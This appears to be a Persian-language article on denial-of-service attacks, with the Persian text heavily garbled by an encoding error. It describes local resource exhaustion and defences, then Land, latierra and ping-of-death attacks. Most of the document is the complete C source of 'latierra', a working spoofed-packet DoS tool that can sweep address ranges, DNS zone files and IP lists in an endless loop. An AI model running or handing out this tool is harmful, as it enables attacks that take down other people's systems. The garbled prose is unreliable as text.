 Process Killing : ثب قطر ظقتؽقیroot  ظؼ یُویکف )یب قطر ظقتؽقی معیؽ ظؼ َیىعَؾ( ٌکؽ

می تُاوع ثً ؼازتی یک پؽَقً ظؼ زبد اخؽا ؼا وبثُظ کىعح ایه پؽَقً ٌب می تُاوىکع نکبمل ظایمکُن 

inted ،قؽَیف ظٌىعي َة ،DNS ،FTP گؽی ثبنىعحَ یب ٌؽ پؽَقً ظی 

 System Reconfiguration : ٌکؽ ثب قطر ظقتؽقی کبفی قبظؼ اقت تب تىظیمبت یک قیكتم

ؼا ثً گُوً ی ظلطُاي ضکُظ تىظکیم کىکعث مکثلا ظؼ َیىکعَؾ ککبفی اقکت تىظیمکبت قیكکتم یکب مسکیّ 
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ؼخیكتؽی ؼا ثً گُوً ای تغییؽ ظٌع کً کبؼثؽان قبظؼ ثکً ظقتؽقکی ثکً قیكکتم وجبنکىع یکب مىکبثغ 

 ؼا ػٌُ کىع َ یب پیکؽثىعی قؽَیف ظٌىعي ؼا ثً ٌم ثؽیؿظح مهتؽک

 Process Crashing:  زتی اگؽ ٌکؽ ظاؼای ثٍتؽیه َ ػکبلی تکؽیه قکطر ظقتؽقکی ثکً قیكکتم

ػبمل وجبنع َ ثب مدُؾ یک کبؼثؽ مؼمُلی ثً قیكتم َاؼظ نُظ، قبظؼ ضُاٌع ثُظ تب نکؽایّ ؼا ثکؽای 

عح ایه ػمکل مکی تُاوکع نکبمل ظؼٌکم نکكکته ظؼٌم نکكته یک پؽَقً آقیت پػیؽ، فؽاٌم کى

پهتً یب اؼقبد زدم ثكیبؼ ثبلایی اؾ ظاظي ٌب ثً ظؼَن یک پؽَقکً ثبنکعح ظؼٌکم نکكکته پهکتً 

 وٍبیتب مىدؽ ثً پبیبن قؽَیف ظٌی ثً یک پؽَقً ضُاٌع نعح

 Local Bombardment:  ایه وُع زملً، ظؼ مُاؼظی اقت کً ٌکؽ قکطر مدکُؾ ککبفی ظؼ اضتیکبؼ

ظؼ مع کبؼثؽی ثً قیكتم َاؼظ نعي اقتح ظؼ ایه زبلت ثؽوبمکً ای ؼا وُنکتً َ آوکؽا ظؼ مکع وعاؼظ َ 

 کبؼثؽی اخؽا می کىع ثً گُوً ای کً اؾ ظؼَن قؽَیف ظٌىعي ؼا مهغُد کىعح

ثً اؼقبد پی ظؼ پکی ثکً یکک پؽَقکً، ثکً گُوکً ای ککً آن پؽَقکً ظؼ زدکم ثکبلایی ؾمکبن مًکؽف کىکع َ اؾ 

ان گ تکً مکی نکُظح اگکؽ ٌککؽ ثؽوبمکً ثمجکبؼان ؼا اؾ ظؼَن ؼقی ػبخؿ ثمبوکع ثمجکبؼقیعگی ثً تقبَبٌبی زقی

نجکً ؼاي اوعاؾی کىع، زدم آقیت ؼقبوی آن ثیهتؽ ضُاٌع ثکُظ ؾیکؽا ثکً ظلیکل پٍىکبی ثبوکع ثكکیبؼ ثکبلا ظؼ 

 نجکً مسلی، َقؼت ثمجبؼان ؾیبظ ثُظي َ ٌؿیىً ای ویؿ ثً َی تسمیل می نُظح

 

 

 ع عیغتنحولَ اص ًْع اشثاع هٌات

اؾ ظؼَن، َؼَظ یک ٌکؽ ثً قیكتم َ اخؽای ثؽوبمً ٌکبیی اقکت ککً مىکبثغ  DoSیکی ظیگؽ اؾ زملات وُع    

قیكتم ؼا تلف می کىىعث ثً گُوً ای کً قكیكتم ؼا کبملا مطتل می کىىع یب قؽَیف ظٌىعي ٌبی مٍم 

بثغ قیكتم ؼا ظؼ اضتیبؼ ؼا ثً نعت کىع می کىعح الجتً ثكیبؼی اؾ قیكتم ػبمل ٌب ظؼيع مهطًی اؾ مى

یک پؽَقً قؽاؼ می ظٌىع َ اخبؾي ومی ظٌىع کً یک پؽَقً تمب  مىبثغ قیكتمی ؼا ظؼ اضتیبؼ ثگیکؽظ َلکی 

فؽامُل وکىیع کً یک ٌکؽ زؽفً ای ثً وقبِ َؼف ٌؽ قیكتم ػکبملی َاقکف اقکت َ ثؽاقکبـ آن وقطکً 
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انکجبع مىکبثغ قیكکتم اودکب  نکُوع َؼف زملً ؼا ثؽوبمً ؼیؿی می کىعح ػملیبتی کً ممکه اقت ثکؽای 

 ػجبؼتىع اؾ:

  اشثاع جذّل پشّعَ عیغتن عاهل(Filling up the Process Table) : یک ٌکؽ قبظؼ اقت

یک کپی اؾ ضُظل ؼا مدعظا تُلیع َ اخؽا کىعح  ()Forkثؽوبمً ای ثىُیكع کً آن ثؽوبمً ثب اودب  ػمل 

ثقیً کبؼثؽان قبظؼ ثً تُلیع َ  ودب کً پؽَقً، پؽ نُظ تب آجذّل پشّعَ ایه کبؼ ثبػ  می نُظ کً 

 ؽا وجبنعحاخ

 

 :اشثاع عیغتن فایل 

ظؼ ایه زبلت ویؿ ٌکؽ می تُاوع ثب وُنته َ ِؽازی یکک ثؽوبمکً، ثکً يکُؼت متىکبَة زدکم ثكکیبؼ ؾیکبظی اؾ 

اِلاػبت ثی اؼؾل ؼا ؼَی فُبی ثً انتؽاک گؿاؼظي نعي ککبؼثؽان ثىُیكکع ثکً ِکُؼی ککً ثقیکً ککبؼثؽان یکب 

 ظؼ وبزیً انتؽاکی ؼَثؽَ می نُوعح ؽَقً ٌب ثب کمجُظ فُبی ظیكکپ

 

 

 :اسعال تشافیک تیِْدٍ اص " دسّى شثکَ تَ تیشّى"  تَ قصذ ُذس سفت پٌِای تاًذ 

ظؼ ایىدب ویؿ ٌکؽ یب نطى و ُغگؽ، قبظؼ ضُاٌع ثُظ ثؽوبمً ؼا ثىُیكع کً ثب اخؽا ثؽ ؼَی یک مبنیه، تؽافیکک 

َن نجکً ثً ثیؽَن اؼقبد کىع کً ایىکبؼ َی ثبػ  اتلاف پٍىبی ثبوع ضطُِ اؼتجبِی َ ثیٍُظي َ ؾائعی ؼا اؾ ظؼ

 می گؽظظح CPUؾمبن کبؼ 

 

 سّشِای جلْگیشی اص اشثاع هٌاتع عیغتوی:

یک مكئُد یب معیؽ نجکً ثً مىظُؼ پیهگیؽی اؾ انجبع مىبثغ قیكکتمی مکی ثبیكکتی چىکع وکتکً ؾیکؽ ؼا 

 ثطبِؽ ثكپبؼظ:

ؽ ظؼ نجکً زعاقل امکبوبت َ مىبثغ مُخُظ ؼا تؼؽیف کؽظي َ ٌیچ گُوً قطبَتی ؼا ثؽای ٌؽ کبؼثؽ زبَ -1

 ظؼ وظؽ وگیؽظح

(، گیگاتایدت 2حدذاقل )  RAMقؽَیف ظٌىعي )قؽَؼ( ضُظ ؼا ثً ثبلاتؽیه مىبثغ قیكتمی مبوىکع  -2

 پؽظاؾوعي ٌبی چىع ٌكتً ای ثكیبؼ قؽیغ َ پٍىبی ثبوع ثبلای کبوبد مدٍؿ کىکع تکب قجکل اؾ آوککً یکک

 زملً مىدؽ ثً فؽَپبنی َ اؾ کبؼ افتبظن یک قؽَؼ نُظ، ثتُان ثً تهطیى َ ؼفغ آن پؽظاضتح

اؾ قیكتم ٌب  نجکً ضُظ ثً يُؼت معاَ  مؽاقجت کؽظي َ یب نطًی قبثل اػتمبظ ؼا ثؽای ز ب ت  -3

 ،Event Viewer ،System Monitor ،Process listاؾ آوٍب ثگمبؼظ َ وکؽ  افؿاؼٌکبی مکعیؽیتی ٌمبوىکع: 

Network Monitor ؼا ٌمُاؼي فؼبد وگً ظاؼظح 

 اقت بظي کىعح (IDS)اؾ وؽ  افؿاؼٌبی کهف مؿازمت  -4
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 اص تیشّى DoSحولات 

اؾ ثیؽَن، زملً ثب ٌعف ایدبظ ضلل، اؾ یک وقطکً ظؼ نکجکً ایىتؽوکت نکؽَع مکی نکُظ َ  DoSظؼ زملات    

م وکعاؼظح یککی اؾ نکبیغ تکؽیه زمکلات نطى و ُغگؽ ویبؾ ثً ظانته ٌیچ گُوً مدُؾی ثؽای َؼَظ ثً قیكت

ثكکتً ٌکبی وکبقى َ ظاؼای ثؽای َاؼظ آَؼظ آَؼظن يعمً ثً قیكتم َ ظؼٌم نکكتً نعن آن، ثمجکبؼان ثکب 

ایدبظ انککبد  TCP/IPازتمبلا ظؼ یکی اؾ پؽَقً ٌبی پهتً  اقتح (Malformed Pocket Attacks)  انکبد

کً ضیلی متؼعظوع( ظاؼای آقیت پػیؽی ثبنع قطؼبً مکُؼظ کؽظي َ اگؽ قؽَؼ ٌعف ظؼ یکی اؾ ایه پؽَقً ٌب )

می نکُظح ثکً ِکُؼ مؼمکُد ظؼ ایکه گُوکً اؾ زمکلات،  (Crash) آقیت َ يعمً قؽاؼ گؽفتً َ ظؼٌم نکكتً

نطى و ُغگؽ ظؼ یک زبنیً امىیت قؽاؼ گؽفتً َ کمتکؽیه ؼظپکب ؼا ثؽخکبی مکی گکػاؼظح ظلیکل ؼَاج ایىگُوکً اؾ 

اؾ ِؽیق ثمجبؼان ثكتً ٌبی وکبقى مکی  DoSً ثؽؼقی ضطؽوبکتؽیه زملات زملات ویؿ ٌمیه اقتح زبد ث

 پؽظاؾیم:

 :Landحولات ًْع 

ثب مهطًکً ٌکبی  TCP، اوجٌُی اؾ ثكتً ٌبی اودب  می نُظ TCPثؽ ػلیً پؽَقً ظؼ ایه وُع اؾ زملً کً 

 ؾیؽ ثً قمت مبنیه ٌعف گكیل َ قؽاؾیؽ می نُوع:

)پُؼت مقًع( ظؼ ایه زبلت ظقیقبً مثل ٌکم  Destination Port)پُؼت مجعا( َ  Source Portفیلعٌبی  

تؼییه می نُوع کً مقعاؼی کً ظؼ ایه فیلعٌب قؽاؼ می گیکؽظ، نکمبؼي یککی اؾ پکُؼت ٌکبی مىجکغ َ 

 مقًع می ثبنعح

)آظؼـ آی پکی  Destination IP Address) آظؼـ آی پکی مجکعا( َ  Source IP Addressفیلکعٌبی  

ٌم تىظیم می نُوعح ظؼ ایىدب ویؿ مقعاؼی کً ظؼ ایه فیلعٌب قؽاؼ مکی گیکؽظ، مقًع( ظقیقبً ثً مبوىع 

 آظؼـ آی پی ٌعف مُؼظ وظؽ میجبنعح

اؼقبد می نُظ َ ٌىگکبمی ککً  TCPثً قمت پؽَقً  (Spoofed Pocket)یک ثكتً خؼلی   ظؼ ایه زبلت

ثكکتً  TCPی پؽَقکً ایه پؽَقً، ثكتً ؼا ظؼیبفت کؽظ، چُن آظؼـ ٌبی مجعا َ مقًع یکكبن اقت، َقتک

ٌبی ؼا ظؼ قبلت ثكتً ٌبی پبقص ثً آوٍب تُلیع َ اؼقبد می کىع، ایه ثكتً ٌکب ثکً ضکُظی ضکُظ ثکً ِکؽف 

ظچکبؼ  TCPٌعف ثبؾگهتً َ ایه ؼَوع تکؽاؼ ضُاٌع نعح ظؼ مقبثل ایه ات ب  پهتً ٌبی قکعیمی تکؽ پؽَقکً 

 اضتلاد نعي َ اؾ کبؼ می افتىعح 

َ قیكکتم  (Unix , Linux)َیىعَؾی، قیكتم ٌبی مجتىی ثؽ یکُویکف  ظؼ قیكتم ٌبی Landزملات وُع 

، ؼَتؽ ٌب )مكیؽیبة( َ چبپگؽٌکب مکی تُاوکع ثکً اخکؽا (Open Source Systems)ٌبی مجتىی ثؽ پبیً مىجغ ثبؾ 

 گػانتً نُظح

 latierraحولات ًْع 

ؽفتکً نکعي ظؼ زمکلات ت کً ثكکتً ٌکبی ثکبؼگٌَكتىع ثب ایه ت ب Landایه زملات ویؿ مهبثً زملات وُع 

Land ظؼ ایه وُع اؾ زملً، ثؽای چمعیه پُؼت ثبؾ ؼَی قیكتم ٌعف اؼقبد می نُظح 

#include <stdio.h> 

#include <getopt.h> 

#include <string.h> 

#include <netdb.h> 

#include <arpa/inet.h> 

#include <netinet/in.h> 

#include <sys/types.h> 
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#include <sys/socket.h> 

#include <netinet/ip.h> 

#include <netinet/ip_tcp.h> 

#include <netinet/protocols.h>  

 

#define DEFAULT_FREQUENCY  1  

#define TRUE       1 

#define FALSE        0 

#define FOR_EVER      -5 

#define LIST_FILE      1 

#define ZONE_FILE      2 

#define MAXLINELENGTH    512 

#define DEFAULT_SEQ    0xF1C 

#define DEFAULT_TTL           0xFF 

#define DEFAULT_TCPFLAGS      (TH_SYN | TH_PUSH) 

#define DEFAULT_WINSIZE       0xFDE8 

 

struct pseudohdr 

 { 

   struct in_addr saddr; 

   struct in_addr daddr; 

   u_char zero; 

   u_char protocol; 

   u_short length; 

   struct tcphdr tcpheader; 

 }; 

 

typedef struct latierra_data 

 { 

 char dest_ip[256]; 

 int  tcp_flags; 

 int  window_size; 

 int  ip_protocol; 

 int  sequence_number; 

 int  ttl; 

 int  supress_output; 

        int  message_type; 

 } LATIERRA_DATA; 

 

void alternatives(void); 

int  get_ip(int use_file, FILE *fp, char *buff); 

int  land(LATIERRA_DATA *ld, int port_number); 

void nslookup_help(void); 

void print_arguments(void); 

void protocol_list(void); 

 

/********/ 

/* main */ 

/********/ 

int main(int argc, char **argv) 

{ 

 FILE *fp; 
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 LATIERRA_DATA ld; 

 int frequency = DEFAULT_FREQUENCY, x; 

 int beginning_port=1, octet=1, scan_loop=0, loop_val=0, 

use_file=FALSE; 

 int ending_port = 0, loop = TRUE, i = 0, increment_addr = 

FALSE; 

   char got_ip = FALSE, got_beg_port = FALSE; 

 char class_c_addr[21], filename[256], buff[512], 

valid_tcp_flags[16]; 

 

 printf("\nlatierra v1.0b by MondoMan (elmondo@usa.net), 

KeG\n"); 

   printf("Enhanced version of land.c originally developed by m3lt, 

FLC\n"); 

 

 strcpy(valid_tcp_flags, "fsrpau"); 

 ld.tcp_flags = 0; 

 ld.window_size = DEFAULT_WINSIZE; 

 ld.ip_protocol = IP_TCP; 

 ld.sequence_number = DEFAULT_SEQ; 

 ld.ttl = DEFAULT_TTL; 

 ld.message_type = 0; 

  

 if(argc > 1 && (!strcmp(argv[1], "-a"))) 

  alternatives(); 

 

 if(argc > 1 && (!strcmp(argv[1], "-n"))) 

  nslookup_help(); 

 

 if(argc > 1 && (!strcmp(argv[1], "-p"))) 

  protocol_list(); 

 

 if(argc == 1 || ( (argc >= 2) && (!strcmp(argv[1], "-h")))) 

  print_arguments(); 

 

 while((i = getopt(argc, argv, "i:b:e:s:l:o:t:w:p:q:v:m:")) != 

EOF) 

  { 

  switch(i) 

   {  

   case 't': 

    for(x=0;x<strlen(optarg);x++) 

     switch(optarg[x]) 

      { 

      case 'f':                        

/* fin */ 

       ld.tcp_flags |= 

TH_FIN; 

       break; 

      case 's':                        

/* syn */ 
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       ld.tcp_flags |= 

TH_SYN; 

       break; 

      case 'r':                        

/* reset */ 

       ld.tcp_flags |= 

TH_RST; 

       break; 

      case 'p':                        

/* push */ 

       ld.tcp_flags |= 

TH_PUSH;    

       break; 

      case 'a':                        

/* ack */ 

       ld.tcp_flags |= 

TH_ACK; 

       break; 

      case 'u':                        

/* urgent */ 

       ld.tcp_flags |= 

TH_URG; 

       break; 

      default: 

       printf("\nERROR: 

Invalid option specified [ %c ] for tcp_flags.\n\n", optarg[x]); 

       return(-12); 

       break; 

      } 

    break; 

   case 'q': 

    ld.sequence_number = atoi(optarg); 

    break; 

   case 'w': 

    ld.window_size = atoi(optarg); 

    break; 

   case 'm': 

    ld.message_type = atoi(optarg); 

    break; 

   case 'v': 

    ld.ttl = atoi(optarg); 

    break; 

   case 'p': 

    ld.ip_protocol = atoi(optarg); 

    break; 

   case 'o': 

    ld.supress_output = TRUE; 

    break; 

   case 'i': 

    if(strlen(optarg) > 1) 

     strcpy(ld.dest_ip, optarg); 

    else 
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     { 

     printf("ERROR: Must specify valid IP 

or hostname.\n"); 

     return(-6); 

     } 

    got_ip = TRUE; 

    break; 

   case 's': 

    frequency = atoi(optarg);  

    break; 

   case 'l': 

    loop = atoi(optarg); 

    break; 

   case 'b': 

    beginning_port = atoi(optarg); 

    got_beg_port = TRUE; 

    break; 

   case 'e': 

    ending_port = atoi(optarg); 

    break; 

   } 

  } 

 

 if(!ld.tcp_flags) 

  ld.tcp_flags = DEFAULT_TCPFLAGS; 

 

 if(!got_beg_port) 

  { 

  fprintf(stderr, "\nMust specify beginning port number.  

Use -h for help with arguments.\n\n"); 

  return(-7); 

  } 

 

 if(ending_port == 0) 

  ending_port = beginning_port; 

 

 printf("\nSettings:\n\n"); 

 

   printf("  (-i)   Dest. IP Addr   : "); 

 

 if(ld.dest_ip[strlen(ld.dest_ip) -1] == '-') 

  { 

  ld.dest_ip[strlen(ld.dest_ip)-1] = 0x0; 

  strcpy(class_c_addr, ld.dest_ip); 

  strcat(ld.dest_ip, "1"); 

  printf(" %s (Class C range specified).\n", ld.dest_ip); 

  increment_addr = TRUE; 

  octet = 1; 

  } 

 else 

  if(strlen(ld.dest_ip) > 5) 

   { 
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   if(strncmp(ld.dest_ip, "zone=", 5)==0) 

    { 

    strcpy(filename, &ld.dest_ip[5]); 

    printf("%s (using DNS zone file)\n", 

filename); 

    use_file = ZONE_FILE; 

    }  

   else if(strncmp(ld.dest_ip, "list=", 5) == 0) 

    { 

    strcpy(filename, &ld.dest_ip[5]); 

    printf("%s (using ASCII list)\n", 

filename); 

    use_file = LIST_FILE; 

    } 

   else 

    printf("%s\n", ld.dest_ip); 

   } 

  else  

   { 

   printf("Destination specifier (%s) length must be 

> 7.\n", ld.dest_ip); 

   return(-9); 

   } 

 

 printf("  (-b)   Beginning Port #: %d\n",     beginning_port ); 

 printf("  (-e)   Ending Port #   : %d\n",     ending_port ); 

 printf("  (-s)   Seconds to Pause: %d\n",     frequency ); 

 printf("  (-l)   Loop            : %d %s\n",  loop, (loop == 

FOR_EVER) ? "(forever)" : " " ); 

 printf("  (-w)   Window size     : %d\n",     ld.window_size ); 

 printf("  (-q)   Sequence Number : %X 

(%d)\n",ld.sequence_number, ld.sequence_number ); 

 printf("  (-v)   Time-to-Live    : %d\n",     ld.ttl); 

 printf("  (-p)   IP Protocol #   : %d\n",     ld.ip_protocol ); 

 printf("  (-t)   TCP flags       : ");  

 

 strcpy(buff, ""); 

 

 if( ld.tcp_flags & TH_FIN) 

  strcat(buff, "fin "); 

 if( ld.tcp_flags & TH_SYN) 

  strcat(buff, "syn "); 

 if(ld.tcp_flags & TH_RST) 

  strcat(buff, "rst "); 

 if(ld.tcp_flags & TH_PUSH) 

  strcat(buff, "push "); 

 if(ld.tcp_flags & TH_ACK) 

  strcat(buff, "ack "); 

 if(ld.tcp_flags & TH_URG) 

  strcat(buff, "urg "); 

 

 printf("%s\n\n", buff); 
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 if(ending_port < beginning_port) 

  { 

  printf("\nERROR: Ending port # must be greater than 

beginning port #\n\n"); 

  return(-8); 

  } 

  

 scan_loop = loop_val = loop; 

  

 if(use_file) 

  { 

  if(access(filename, 0)) 

   { 

   printf("\nERROR: The file you specified (%s) 

cannot be found.\n\n", filename); 

   return(-9); 

   } 

 

  if( (fp = fopen(filename, "rt")) == NULL) 

   { 

   printf("ERROR: Unable to open %s.\n", filename); 

   return(-10); 

   } 

 

  if(!get_ip(use_file, fp, buff)) 

   { 

   printf("Unable to get any IP address from file 

%s.\n"); 

   return(-11); 

   } 

 

  strcpy(ld.dest_ip, buff); 

  } 

  

 while( (loop == FOR_EVER) ? 1 : loop-- > 0) 

  { 

  for(i=beginning_port; i <= ending_port; i++) 

   { 

   if(land(&ld, i))        /* go for it BaBy! */ 

    break; 

 

     if(frequency)          /* make sure freq > 0 */ 

     { 

    if(!ld.supress_output) 

     printf("-> paused %d seconds.\n", 

frequency); 

    sleep(frequency); 

    } 

   } 

 

  if( (!use_file) && (loop && increment_addr) ) 
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   { 

   char temp_addr[21]; 

 

   if(++octet > 254)                        /* check 

for reset */ 

    { 

    if(loop_val != FOR_EVER)              /* 

make sure not to distrute forever! */ 

     { 

     if(++scan_loop > loop_val)        /* 

check if scanned x times */ 

      break; 

     else 

      loop = loop_val;                

/* restore original value */ 

     } 

    octet = 1;                           /* 

reset */ 

    } 

 

   sprintf(temp_addr, "%s%d", class_c_addr, octet); 

   strcpy(ld.dest_ip, temp_addr); 

   

   if(!ld.supress_output) 

    printf("** incrementing to next IP address: 

%s\n", ld.dest_ip); 

 

   if(scan_loop > loop_val) 

    break; /* break while loop */ 

   } 

  else if(use_file) 

   { 

   if(!get_ip(use_file, fp, buff)) 

    break; 

   

   loop++; 

 

   strcpy(ld.dest_ip, buff); 

   } 

 

  } /* end while */ 

 

 printf("\nDone.\n\n"); 

} /* end main */ 

 

int  get_ip(int use_file, FILE *fp, char *buff) 

{ 

 if(use_file == LIST_FILE) 

  return(get_ip_from_list(fp, buff)); 

   

 return(get_ip_from_zone(fp, buff)); 

} 
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int get_ip_from_list(FILE *fp, char *buff) 

{ 

 int ret_val; 

 

 while(1) 

  { 

  ret_val = (int)fgets(buff, MAXLINELENGTH, fp); 

 

  if((ret_val == EOF) || (ret_val == (int)NULL)) 

   return 0; 

 

  if( strlen(buff) >= 7) 

   if((buff[0] != ';') && (buff[0] != '[')) 

    { 

    if( (buff[strlen(buff)-1] == '\r') || 

(buff[strlen(buff)-1] == '\n') ) 

     buff[strlen(buff)-1] = 0x0; 

 

    return 1; 

    } 

  } 

 

 return 0; 

} 

 

int get_ip_from_zone(FILE *fp, char *buff) 

{ 

 int ret_val, i; 

 char *p, delim[8]; 

 

 strcpy(delim, " \t"); 

 

 while(1) 

  { 

  ret_val = (int)fgets(buff, MAXLINELENGTH, fp); 

 

  if((ret_val == EOF) || (ret_val == (int)NULL)) 

   return 0; 

 

  if( strlen(buff) >= 7) 

   if((buff[0] != ';') && (buff[0] != '[') && 

(strncmp(buff, "ls -d", 5) != 0)) 

    { 

    if( (p = strtok( buff, delim)) == NULL) 

     continue; 

 

    if( (p = strtok(NULL, delim)) == NULL) 

     continue; 

 

    if(strcmp(p, "A"))   /* be sure second 

column is an DNS A record */ 
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     continue; 

     

    if( (p = strtok(NULL, delim)) == NULL) 

     continue; 

 

    strcpy(buff, p); 

 

    /* verify that we have a valid IP address 

to work with */ 

 

    if(inet_addr(p) == -1) 

     continue; 

 

    /* strip off training line characters */ 

     

    if( (buff[strlen(buff)-1] == '\r') || 

(buff[strlen(buff)-1] == '\n') ) 

     buff[strlen(buff)-1] = 0x0; 

 

    return 1; 

    } 

  } 

 

 return 0; 

} 

 

/************/ 

/* checksum */ 

/************/ 

u_short checksum(u_short * data,u_short length) 

{ 

 register long value; 

 u_short i; 

 

 for(i = 0; i< (length >> 1); i++) 

  value += data[i]; 

 

 if((length & 1)==1) 

  value += (data[i] << 8); 

 

 value = (value & 0xFFFF) + (value >> 16); 

 

 return(~value); 

} 

 

/********/ 

/* land */ 

/********/ 

int land(LATIERRA_DATA *ld,  int port_number) 

{ 

 struct sockaddr_in sin; 

   int sock; 
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   char buffer[40]; 

   struct iphdr * ipheader = (struct iphdr *) buffer; 

   struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct 

iphdr)); 

   struct pseudohdr pseudoheader; 

 

 bzero(&sin,sizeof(struct sockaddr_in)); 

 

   sin.sin_family=AF_INET; 

 

   if((sin.sin_addr.s_addr=inet_addr(ld->dest_ip))==-1) 

    { 

      printf("ERROR: unknown host %s\n", ld->dest_ip); 

      return(-1); 

      } 

 

 if((sin.sin_port=htons(port_number))==0) 

    { 

      printf("ERROR: unknown port %s\n",port_number); 

      return(-2); 

      } 

 

 if((sock=socket(AF_INET,SOCK_RAW,255))==-1) 

    { 

      printf("ERROR: couldn't allocate raw socket\n"); 

      return(-3); 

      } 

 

 bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); 

 

   ipheader->version=4; 

   ipheader->ihl=sizeof(struct iphdr)/4; 

   ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct 

tcphdr)); 

   ipheader->id=htons(ld->sequence_number); 

   ipheader->ttl = ld->ttl; 

   ipheader->protocol = ld->ip_protocol; 

   ipheader->saddr=sin.sin_addr.s_addr; 

   ipheader->daddr=sin.sin_addr.s_addr; 

 

   tcpheader->th_sport = sin.sin_port; 

   tcpheader->th_dport = sin.sin_port; 

   tcpheader->th_seq = htonl(ld->sequence_number); 

   tcpheader->th_flags = ld->tcp_flags; 

   tcpheader->th_off = sizeof(struct tcphdr)/4; 

   tcpheader->th_win = htons(ld->window_size); 

 

   bzero(&pseudoheader,12+sizeof(struct tcphdr)); 

 

   pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; 

   pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; 

   pseudoheader.protocol = ld->ip_protocol; 
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   pseudoheader.length = htons(sizeof(struct tcphdr)); 

   bcopy((char *) tcpheader,(char *) 

&pseudoheader.tcpheader,sizeof(struct tcphdr)); 

   tcpheader->th_sum = checksum((u_short *) 

&pseudoheader,12+sizeof(struct tcphdr)); 

 

   if( sendto(sock,  buffer,  

       sizeof(struct 

iphdr)+sizeof(struct tcphdr), 

       ld->message_type, 

       (struct sockaddr *) 

&sin, 

       sizeof(struct 

sockaddr_in) )==-1) 

    { 

      printf("ERROR: can't send packet. (sendto failed)\n"); 

      return(-4); 

      } 

 

 if(!ld->supress_output) 

  printf("-> packet successfully sent to: %s:%d\n", ld-

>dest_ip, port_number); 

 

   close(sock); 

 

   return(0); 

} 

/* End of land */ 

 

void alternatives() 

{ 

 printf("\nAlternative command line arguments for option -

i\n\n"); 

 

 printf("    You can create two types of files that latierra can 

use to get\n"); 

 printf("    a list of IP addresses, a simple ASCII file with 

each IP address\n"); 

 printf("    appearing on each line or better yet, a DNS zone 

file created by\n"); 

 printf("    nslookup.  If you are unfamiliar with nslookup, 

specify a '-n' on the\n"); 

 printf("    command line of latierra.\n\n"); 

 printf("    Basically, latierra will walk down the list and 

send the spoofed packet\n"); 

 printf("    to each IP address.  Once the list is complete, and 

loop > 1, the list\n"); 

  printf("    is repeated.   To specify that the '-i' option 

should use a zone file,\n"); 

 printf("    specify \"zone=filename.txt\" instead of an IP 

address.  To specify a \n"); 
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 printf("    simple ASCII list of IP addresses, use 

\"list=filename.txt\".  Lines\n"); 

 printf("    beginning with ';' or '[' are ignored.  Lines that 

are not an 'A' \n"); 

 printf("    record (second column)in a zone file will 

ignored.\n\n"); 

 

 exit(-1); 

} 

 

void nslookup_help() 

{ 

 printf("\nNSLOOKUP help\n\n"); 

  

 

 printf("To see who is the DNS server for a particular domain, 

issue the following:\n"); 

 printf("        > set type=ns\n"); 

 printf("        > xyz.com\n\n"); 

 printf("  You will see a list of the name server(s) if 

completed successfully\n\n"); 

 

 printf("To get a list of all the DNS entries for a particular 

domain, run nslookup\n"); 

 printf("and issue the following commands:\n"); 

 printf("         > server 1.1.1.1\n"); 

 printf("         > ls -d xyz.com > filename.txt\n\n"); 

 

 printf("Line 1 sets the server that nslookup will use to 

resolve a name.\n"); 

 printf("Line 2 requires all the information about xyz.com be 

written to filename.txt\n\n");  

 

 exit(-1); 

} 

 

void protocol_list() 

{ 

 printf("\nProtocol List:\n\n");  

 printf("Verified:\n"); 

 printf("1-ICMP   2-IGMP   3-GGP  5-ST   6-TCP   7-UCL   8-EGP   

9-IGP  10-BBN_RCC_MON\n"); 

 printf("11-NVP11   13-ARGUS   14-EMCON   15-XNET   16-CHAOS   

17-UDP   18-MUX\n"); 

 printf("19-DCN_MEAS   20-HMP   21-PRM   22-XNS_IDP   23-TRUNK1   

24-TRUNK2\n"); 

 printf("25-LEAF1   26-LEAF2    27-RDP   28-IRTP      29-ISO_TP4  

30-NETBLT\n"); 

 printf("31-MFE_NSP   32-MERIT_INP   33-SEP   34-3PC   62-CFTP    

64-SAT_EXPAK\n"); 

 printf("66-RVD       67-IPPC        69-SAT_MON   70-VISA         

71-IPCV\n"); 
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 printf("76-BR_SAT_MON   77-SUN_ND   78-WB_MON   79-WB_EXPAK   

80-ISO_IP\n"); 

 printf("81-VMTP   82-SECURE_VMTP   83-VINES  84-TTP   85-

NSFNET_IGP   86-DGP\n"); 

 printf("87-TCF    88-IGRP          89-OSPFIGP         90-

SPRITE_RPG   91-LARP\n\n"); 

 printf("Supported:\n"); 

 printf("    6-TCP     17-UDP    (future: PPTP, SKIP) \n\n"); 

 

 exit(-1); 

} 

 

void print_arguments() 

{ 

 printf("Arguments: \n"); 

 printf("     *   -i dest_ip = destination ip address such as 

1.1.1.1\n"); 

 printf("                If last octet is '-', then the address 

will increment\n"); 

 printf("                from 1 to 254 (Class C) on the next 

loop\n"); 

 printf("                and loop must be > 1 or %d 

(forever).\n", FOR_EVER); 

 printf("                Alternatives = zone=filename.txt or 

list=filename.txt (ASCII)\n"); 

 printf("                For list of alternative options, use  -

a instead of -h.\n"); 

 printf("     *   -b port# = beginning port number 

(required).\n"); 

        printf("         -e port# = ending port number (optional)\n"); 

 printf("         -t = tcp flag options 

(f=fin,~s=syn,r=reset,~p=push,a=ack,u=urgent)\n"); 

 printf("         -v = time_to_live value, default=%d\n", 

DEFAULT_TTL); 

 printf("         -p protocol = ~6=tcp, 17=udp, use -p option 

for complete list\n"); 

 printf("         -w window_size = value from 0 to ?, 

default=%d\n", DEFAULT_WINSIZE); 

 printf("         -q tcp_sequence_number, default=%d\n", 

DEFAULT_SEQ); 

 printf("         -m message_type (~0=none,1=Out-Of-

Band,4=Msg_DontRoute\n"); 

 printf("         -s seconds = delay between port numbers, 

default=%d\n", DEFAULT_FREQUENCY); 

 printf("         -o 1 = supress additional output to screen, 

default=0\n" ); 

 printf("         -l loop = times to loop through ports/scan, 

default=%d, %d=forever\n", 1, FOR_EVER); 

 printf("     * = required     ~ = default parameter 

values\n\n"); 

 exit(-1); 

} 
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/* End of file */ 

 

 Ping of deathحولات پیٌگ هشگثاس 

کیلُثبیکت( ثکً قکمت ٌکعف اؼقکبد  64ثب اوعاؾي ثیم اؾ زع مؼمُد ) pingظؼ ایه ؼَل اؾ زملً، یک ثكتً 

